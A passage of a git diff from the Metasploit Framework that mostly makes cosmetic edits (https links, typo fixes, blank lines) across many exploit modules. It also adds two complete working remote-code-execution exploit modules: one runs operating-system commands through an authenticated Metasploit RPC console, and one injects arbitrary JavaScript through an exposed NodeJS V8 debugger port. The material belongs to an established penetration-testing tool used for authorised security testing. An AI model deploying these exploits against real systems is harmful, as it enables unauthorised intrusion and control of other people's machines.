           ['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'],
-          ['URL', 'http://www.accuvant.com/blog/exploiting-jmx-rmi'],
+          ['URL', 'https://www.optiv.com/blog/exploiting-jmx-rmi'],
           ['CVE', '2015-2342']
         ],
       'Platform'       => 'java',
@@ -329,5 +329,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     true
   end
-
 end
diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb
index b2ac5d5ea7..49eb051522 100644
--- a/modules/exploits/multi/misc/java_rmi_server.rb
+++ b/modules/exploits/multi/misc/java_rmi_server.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -287,5 +287,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     arguments
   end
-
 end
diff --git a/modules/exploits/multi/misc/legend_bot_exec.rb b/modules/exploits/multi/misc/legend_bot_exec.rb
index 2d8b09329c..76b480566b 100644
--- a/modules/exploits/multi/misc/legend_bot_exec.rb
+++ b/modules/exploits/multi/misc/legend_bot_exec.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::Tcp
@@ -13,13 +12,13 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'Legend Perl IRC Bot Remote Code Execution',
       'Description'    => %q{
-          This module exploits a remote command execution on the Legend Perl IRC Bot .
+          This module exploits a remote command execution on the Legend Perl IRC Bot.
           This bot has been used as a payload in the Shellshock spam last October 2014.
           This particular bot has functionalities like NMAP scanning, TCP, HTTP, SQL, and
           UDP flooding, the ability to remove system logs, and ability to gain root, and
           VNC scanning.
 
-          Kevin Stevens, a Senior Threat Researcher at Damballa  has uploaded this script
+          Kevin Stevens, a Senior Threat Researcher at Damballa, has uploaded this script
           to VirusTotal with a md5 of 11a9f1589472efa719827079c3d13f76.
         },
       'Author'         =>
@@ -163,5 +162,4 @@ class MetasploitModule < Msf::Exploit::Remote
     quit(sock)
     disconnect
   end
-
 end
diff --git a/modules/exploits/multi/misc/msf_rpc_console.rb b/modules/exploits/multi/misc/msf_rpc_console.rb
new file mode 100644
index 0000000000..4176d43781
--- /dev/null
+++ b/modules/exploits/multi/misc/msf_rpc_console.rb
@@ -0,0 +1,152 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core/rpc/v10/client'
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::Tcp
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'            => 'Metasploit RPC Console Command Execution',
+      'Description'     => %q{
+        This module connects to a specified Metasploit RPC server and
+        uses the 'console.write' procedure to execute operating
+        system commands. Valid credentials are required to access the
+        RPC interface.
+
+        This module has been tested successfully on Metasploit 4.15
+        on Kali 1.0.6; Metasploit 4.14 on Kali 2017.1; and Metasploit
+        4.14 on Windows 7 SP1.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         => 'Brendan Coles <bcoles[at]gmail.com>',
+      'References'     =>
+        [
+          [ 'URL', 'https://help.rapid7.com/metasploit/Content/api/rpc/overview.html' ],
+          [ 'URL', 'https://community.rapid7.com/docs/DOC-1516' ]
+        ],
+      'Platform'       => %w{ ruby unix win },
+      'Targets'        => [
+          [ 'Ruby',        { 'Arch'     => ARCH_RUBY,
+                             'Platform' => 'ruby',
+                             'Payload'  => { 'BadChars' => "\x00" } } ],
+          [ 'Windows CMD', { 'Arch'     => ARCH_CMD,
+                             'Platform' => 'win',
+                             'Payload'  => { 'BadChars' => "\x00\x0A\x0D" } } ],
+          [ 'Unix CMD',    { 'Arch'     => ARCH_CMD,
+                             'Platform' => 'unix',
+                             'Payload'  => { 'BadChars' => "\x00\x0A\x0D" } } ]
+        ],
+      'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 15 },
+      'Privileged'     => false,
+      'DisclosureDate' => 'May 22 2011',
+      'DefaultTarget'  => 0))
+    register_options [ Opt::RPORT(55552),
+                       OptString.new('USERNAME', [true, 'Username for Metasploit RPC', 'msf']),
+                       OptString.new('PASSWORD', [true, 'Password for the specified username', '']),
+                       OptBool.new('SSL', [ true, 'Use SSL', true]) ]
+  end
+
+  def execute_command(cmd, opts = {})
+    res = @rpc.call 'console.write', @console_id, "\r\n#{cmd}\r\n"
+
+    if res.nil?
+      fail_with Failure::Unknown, 'Connection failed'
+    end
+
+    unless res['wrote'].to_s =~ /\A\d+\z/
+      print_error "Could not write to console #{@console_id}:"
+      print_line res.to_s
+      return
+    end
+
+    vprint_good "Wrote #{res['wrote']} bytes to console"
+  end
+
+  def exploit
+    begin
+      @rpc = Msf::RPC::Client.new :host => rhost, :port => rport, :ssl => ssl
+    rescue Rex::ConnectionRefused => e
+      fail_with Failure::Unreachable, 'Connection refused'
+    rescue => e
+      fail_with Failure::Unknown, "Connection failed: #{e}"
+    end
+
+    res = @rpc.login datastore['USERNAME'], datastore['PASSWORD']
+
+    if @rpc.token.nil?
+      fail_with Failure::NoAccess, 'Authentication failed'
+    end
+
+    print_good 'Authenticated successfully'
+    vprint_status "Received temporary token: #{@rpc.token}"
+
+    version = @rpc.call 'core.version'
+
+    if res.nil?
+      fail_with Failure::Unknown, 'Connection failed'
+    end
+
+    print_status "Metasploit #{version['version']}"
+    print_status "Ruby #{version['ruby']}"
+    print_status "API version #{version['api']}"
+
+    vprint_status 'Creating new console...'
+    res = @rpc.call 'console.create'
+
+    if res.nil?
+      fail_with Failure::Unknown, 'Connection failed'
+    end
+
+    unless res['id'].to_s =~ /\A\d+\z/
+      print_error 'Could not create console:'
+      print_line res.to_s
+      return
+    end
+
+    @console_id = res['id']
+    print_good "Created console ##{@console_id}"
+
+    print_status 'Sending payload...'
+
+    case target['Platform']
+    when 'ruby'
+      cmd = "ruby -e 'eval(%[#{Rex::Text.encode_base64(payload.encoded)}].unpack(%[m0]).first)'"
+    when 'win'
+      cmd = payload.encoded
+    when 'unix'
+      cmd = payload.encoded
+    else
+      fail_with Failure::NoTarget, 'Invalid target'
+    end
+
+    execute_command cmd
+  end
+
+  def cleanup
+    return if @console_id.nil?
+
+    vprint_status 'Removing console...'
+    res = @rpc.call 'console.destroy', @console_id
+
+    if res.nil?
+      print_error 'Connection failed'
+      return
+    end
+
+    unless res['result'].eql? 'success'
+      print_warning "Could not destroy console ##{@console_id}:"
+      print_line res.to_s
+      return
+    end
+
+    vprint_good "Destroyed console ##{@console_id}"
+  ensure
+    @rpc.close
+  end
+end
diff --git a/modules/exploits/multi/misc/nodejs_v8_debugger.rb b/modules/exploits/multi/misc/nodejs_v8_debugger.rb
new file mode 100644
index 0000000000..ac1e5b4573
--- /dev/null
+++ b/modules/exploits/multi/misc/nodejs_v8_debugger.rb
@@ -0,0 +1,90 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::Tcp
+
+  MESSAGE_HEADER_TEMPLATE   = "Content-Length: %{length}\r\n\r\n"
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "NodeJS Debugger Command Injection",
+      'Description'    => %q{
+        This module uses the "evaluate" request type of the NodeJS V8
+        debugger protocol (version 1) to evaluate arbitrary JS and
+         call out to other system commands. The port (default 5858) is
+        not exposed non-locally in default configurations, but may be
+        exposed either intentionally or via misconfiguration.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         => [ 'Patrick Thomas <pst[at]coffeetocode.net>' ],
+      'References'     =>
+        [
+          [ 'URL', 'https://github.com/buggerjs/bugger-v8-client/blob/master/PROTOCOL.md' ],
+          [ 'URL', 'https://github.com/nodejs/node/pull/8106' ]
+        ],
+      'Targets'        =>
+        [
+          ['NodeJS', { 'Platform' => 'nodejs', 'Arch' => 'nodejs' } ],
+        ],
+      'Privileged'     => false,
+      'DisclosureDate' => "Aug 15 2016",
+      'DefaultTarget'  => 0)
+    )
+
+    register_options(
+      [
+        Opt::RPORT(5858)
+      ])
+  end
+
+  def make_eval_message
+    msg_body = { seq: 1,
+                 type: 'request',
+                 command: 'evaluate',
+                 arguments: { expression: payload.encoded,
+                              global: true,
+                              maxStringLength:-1
+                            }
+                }.to_json
+    msg_header = MESSAGE_HEADER_TEMPLATE % {:length => msg_body.length}
+    msg_header + msg_body
+  end
+
+  def check
+    connect
+    res = sock.get_once
+    disconnect
+
+    if res.include? "V8-Version" and res.include? "Protocol-Version: 1"
+      vprint_status("Got debugger handshake:\n#{res}")
+      return Exploit::CheckCode::Appears
+    end
+
+    Exploit::CheckCode::Unknown
+  end
+
+  def exploit
+    connect
+    # must consume incoming handshake before sending payload
+    buf = sock.get_once
+    msg = make_eval_message
+    print_status("Sending #{msg.length} byte payload...")
+    vprint_status("#{msg}")
+    sock.put(msg)
+    buf = sock.get_once
+
+    if buf.include? '"command":"evaluate","success":true'
+      print_status("Got success response")
+    elsif buf.include? '"command":"evaluate","success":false'
+      print_error("Got failure response: #{buf}")
+    else
+      print_error("Got unexpected response: #{buf}")
+    end
+  end
+
+end
diff --git a/modules/exploits/multi/misc/openoffice_document_macro.rb b/modules/exploits/multi/misc/openoffice_document_macro.rb
index 2f07873f5a..64b9acb30a 100644
--- a/modules/exploits/multi/misc/openoffice_document_macro.rb
+++ b/modules/exploits/multi/misc/openoffice_document_macro.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -209,5 +209,4 @@ class MetasploitModule < Msf::Exploit::Remote
   def exploit
     super
   end
-
 end
diff --git a/modules/exploits/multi/misc/openview_omniback_exec.rb b/modules/exploits/multi/misc/openview_omniback_exec.rb
index fe35b0ac8d..ae77b0dae1 100644
--- a/modules/exploits/multi/misc/openview_omniback_exec.rb
+++ b/modules/exploits/multi/misc/openview_omniback_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/misc/pbot_exec.rb b/modules/exploits/multi/misc/pbot_exec.rb
index c007301680..53c7fdf837 100644
--- a/modules/exploits/multi/misc/pbot_exec.rb
+++ b/modules/exploits/multi/misc/pbot_exec.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
diff --git a/modules/exploits/multi/misc/persistent_hpca_radexec_exec.rb b/modules/exploits/multi/misc/persistent_hpca_radexec_exec.rb
index c25d5d9f53..75adfcf537 100644
--- a/modules/exploits/multi/misc/persistent_hpca_radexec_exec.rb
+++ b/modules/exploits/multi/misc/persistent_hpca_radexec_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb b/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb
index 09b7123357..5084193ce9 100644
--- a/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb
+++ b/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -74,7 +74,7 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
     if data and data =~ /020.*wait/
-      print_status("#{rhost}:#{rport} - Connection successful, giving 3 seconds to IRC server to process our connection...")
+      print_good("#{rhost}:#{rport} - Connection successful, giving 3 seconds to IRC server to process our connection...")
       select(nil, nil, nil, 3)
     end
   end
diff --git a/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb b/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb
index faa634e3f6..b742744d91 100644
--- a/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb
+++ b/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -82,5 +82,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/multi/misc/w3tw0rk_exec.rb b/modules/exploits/multi/misc/w3tw0rk_exec.rb
index da463a0cd5..4acffa7e90 100644
--- a/modules/exploits/multi/misc/w3tw0rk_exec.rb
+++ b/modules/exploits/multi/misc/w3tw0rk_exec.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::Tcp
@@ -153,5 +152,4 @@ class MetasploitModule < Msf::Exploit::Remote
     quit(sock)
     disconnect
   end
-
 end
diff --git a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb
index 1cced4de36..5ffc9b407b 100644
--- a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb
+++ b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GreatRanking
 
@@ -216,5 +215,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb
index 53f53dd84b..5e19fe1bf3 100644
--- a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb
+++ b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -235,5 +235,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/multi/misc/xdh_x_exec.rb b/modules/exploits/multi/misc/xdh_x_exec.rb
index f3e1415e92..8d3e54e66e 100644
--- a/modules/exploits/multi/misc/xdh_x_exec.rb
+++ b/modules/exploits/multi/misc/xdh_x_exec.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::Tcp
@@ -165,5 +164,4 @@ class MetasploitModule < Msf::Exploit::Remote
     quit(sock)
     disconnect
   end
-
 end
diff --git a/modules/exploits/multi/misc/zend_java_bridge.rb b/modules/exploits/multi/misc/zend_java_bridge.rb
index 208a634fe9..b621eb6115 100644
--- a/modules/exploits/multi/misc/zend_java_bridge.rb
+++ b/modules/exploits/multi/misc/zend_java_bridge.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/ntp/ntp_overflow.rb b/modules/exploits/multi/ntp/ntp_overflow.rb
index 3f711b6737..71b32d439e 100644
--- a/modules/exploits/multi/ntp/ntp_overflow.rb
+++ b/modules/exploits/multi/ntp/ntp_overflow.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -87,5 +87,4 @@ class MetasploitModule < Msf::Exploit::Remote
     disconnect_udp
 
   end
-
 end
diff --git a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb
index 7b65e28bc3..1eb214600c 100644
--- a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb
+++ b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -398,12 +398,12 @@ class MetasploitModule < Msf::Exploit::Remote
       print_status("Received a response: #{res.code} #{res.message}")
 
       if (res.code != 200)
-        print_error("The server returned a non-200 response, indicating that the exploit failed.")
+        print_error("The server returned a non-200 response, indicating that the exploit failed")
         failed = true
       end
 
       if (not failed and (res.body and res.body.length > 0))
-        print_error("The server returned a real response, indicating that the exploit failed.")
+        print_error("The server returned a real response, indicating that the exploit failed")
         failed = true
       end
 
@@ -426,5 +426,4 @@ class MetasploitModule < Msf::Exploit::Remote
   def encode_semis(str)
     str.gsub(';') { |s| sprintf("%%%.2x", s[0]) }
   end
-
 end
diff --git a/modules/exploits/multi/postgres/postgres_createlang.rb b/modules/exploits/multi/postgres/postgres_createlang.rb
index 45ff510bd5..f403cf14d1 100644
--- a/modules/exploits/multi/postgres/postgres_createlang.rb
+++ b/modules/exploits/multi/postgres/postgres_createlang.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -185,7 +185,7 @@ class MetasploitModule < Msf::Exploit::Remote
       )
 
       return result[:auth] if result[:auth]
-      print_status "#{peer} - Login failed"
+      print_error "#{peer} - Login failed"
       return :noauth
 
     rescue Rex::ConnectionError
diff --git a/modules/exploits/multi/realserver/describe.rb b/modules/exploits/multi/realserver/describe.rb
index 1444f8fc82..03387e30e6 100644
--- a/modules/exploits/multi/realserver/describe.rb
+++ b/modules/exploits/multi/realserver/describe.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -77,5 +77,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/multi/samba/nttrans.rb b/modules/exploits/multi/samba/nttrans.rb
index fa056f69ea..15e5a093fa 100644
--- a/modules/exploits/multi/samba/nttrans.rb
+++ b/modules/exploits/multi/samba/nttrans.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -149,5 +149,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
 
   end
-
 end
diff --git a/modules/exploits/multi/samba/usermap_script.rb b/modules/exploits/multi/samba/usermap_script.rb
index da25e57f70..0be73305f1 100644
--- a/modules/exploits/multi/samba/usermap_script.rb
+++ b/modules/exploits/multi/samba/usermap_script.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -16,7 +16,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'Samba "username map script" Command Execution',
       'Description'    => %q{
-          This module exploits a command execution vulerability in Samba
+          This module exploits a command execution vulnerability in Samba
         versions 3.0.20 through 3.0.25rc3 when using the non-default
         "username map script" configuration option. By specifying a username
         containing shell meta characters, attackers can execute arbitrary
@@ -78,5 +78,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb b/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb
index 9059f7473f..f972b9eaba 100644
--- a/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb
+++ b/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb
index 1a73b29874..70d7808ae5 100644
--- a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb
+++ b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -21,7 +21,6 @@
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = GreatRanking
 
   include Msf::Exploit::CmdStager
diff --git a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb
index 05f4329de5..476e78bae3 100644
--- a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb
+++ b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -21,7 +21,6 @@
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = GreatRanking
 
   include Msf::Exploit::CmdStager
diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb
index 0e8cc9b0e0..9adc1dacb4 100644
--- a/modules/exploits/multi/script/web_delivery.rb
+++ b/modules/exploits/multi/script/web_delivery.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/ssh/sshexec.rb b/modules/exploits/multi/ssh/sshexec.rb
index a6f8f317f6..5c4fb8149c 100644
--- a/modules/exploits/multi/ssh/sshexec.rb
+++ b/modules/exploits/multi/ssh/sshexec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/svn/svnserve_date.rb b/modules/exploits/multi/svn/svnserve_date.rb
index cffe21caab..41a4d39364 100644
--- a/modules/exploits/multi/svn/svnserve_date.rb
+++ b/modules/exploits/multi/svn/svnserve_date.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -118,5 +118,4 @@ class MetasploitModule < Msf::Exploit::Remote
   def lengther(buf)
     "#{buf.length}:" + buf
   end
-
 end
diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb
index a565720660..c625d8d0e8 100644
--- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb
+++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/vnc/vnc_keyboard_exec.rb b/modules/exploits/multi/vnc/vnc_keyboard_exec.rb
index 5f0b63c7b2..f3381f0056 100644
--- a/modules/exploits/multi/vnc/vnc_keyboard_exec.rb
+++ b/modules/exploits/multi/vnc/vnc_keyboard_exec.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/rfb'
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = GreatRanking
   WINDOWS_KEY = "\xff\xeb"
   ENTER_KEY = "\xff\x0d"
@@ -181,6 +180,5 @@ class MetasploitModule < Msf::Exploit::Remote
   def execute_command(cmd, opts = {})
     exec_command(cmd)
   end
-
 end
 
diff --git a/modules/exploits/multi/vpn/tincd_bof.rb b/modules/exploits/multi/vpn/tincd_bof.rb
index 3953a09765..fc38a47f4d 100644
--- a/modules/exploits/multi/vpn/tincd_bof.rb
+++ b/modules/exploits/multi/vpn/tincd_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb b/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb
index 37527ed6b6..ce3d8c6849 100644
--- a/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb
+++ b/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb
@@ -1,9 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'timeout'
+
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
diff --git a/modules/exploits/netware/smb/lsass_cifs.rb b/modules/exploits/netware/smb/lsass_cifs.rb
index 5dda80e8de..536f365957 100644
--- a/modules/exploits/netware/smb/lsass_cifs.rb
+++ b/modules/exploits/netware/smb/lsass_cifs.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -119,5 +119,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/netware/sunrpc/pkernel_callit.rb b/modules/exploits/netware/sunrpc/pkernel_callit.rb
index 6a52d63c98..6f3cb90b9e 100644
--- a/modules/exploits/netware/sunrpc/pkernel_callit.rb
+++ b/modules/exploits/netware/sunrpc/pkernel_callit.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GoodRanking
 
@@ -85,5 +84,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect_udp
   end
-
 end
diff --git a/modules/exploits/osx/afp/loginext.rb b/modules/exploits/osx/afp/loginext.rb
index 16c8e632b7..619bced1bb 100644
--- a/modules/exploits/osx/afp/loginext.rb
+++ b/modules/exploits/osx/afp/loginext.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -97,5 +97,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     disconnect
   end
-
 end
diff --git a/modules/exploits/osx/arkeia/type77.rb b/modules/exploits/osx/arkeia/type77.rb
index 66e495e866..8510e532a3 100644
--- a/modules/exploits/osx/arkeia/type77.rb
+++ b/modules/exploits/osx/arkeia/type77.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -105,5 +105,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/osx/browser/mozilla_mchannel.rb b/modules/exploits/osx/browser/mozilla_mchannel.rb
index fdd95e754d..7763cbb6ce 100644
--- a/modules/exploits/osx/browser/mozilla_mchannel.rb
+++ b/modules/exploits/osx/browser/mozilla_mchannel.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -152,5 +152,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/osx/browser/safari_file_policy.rb b/modules/exploits/osx/browser/safari_file_policy.rb
index 9561a4b0b7..37334b24aa 100644
--- a/modules/exploits/osx/browser/safari_file_policy.rb
+++ b/modules/exploits/osx/browser/safari_file_policy.rb
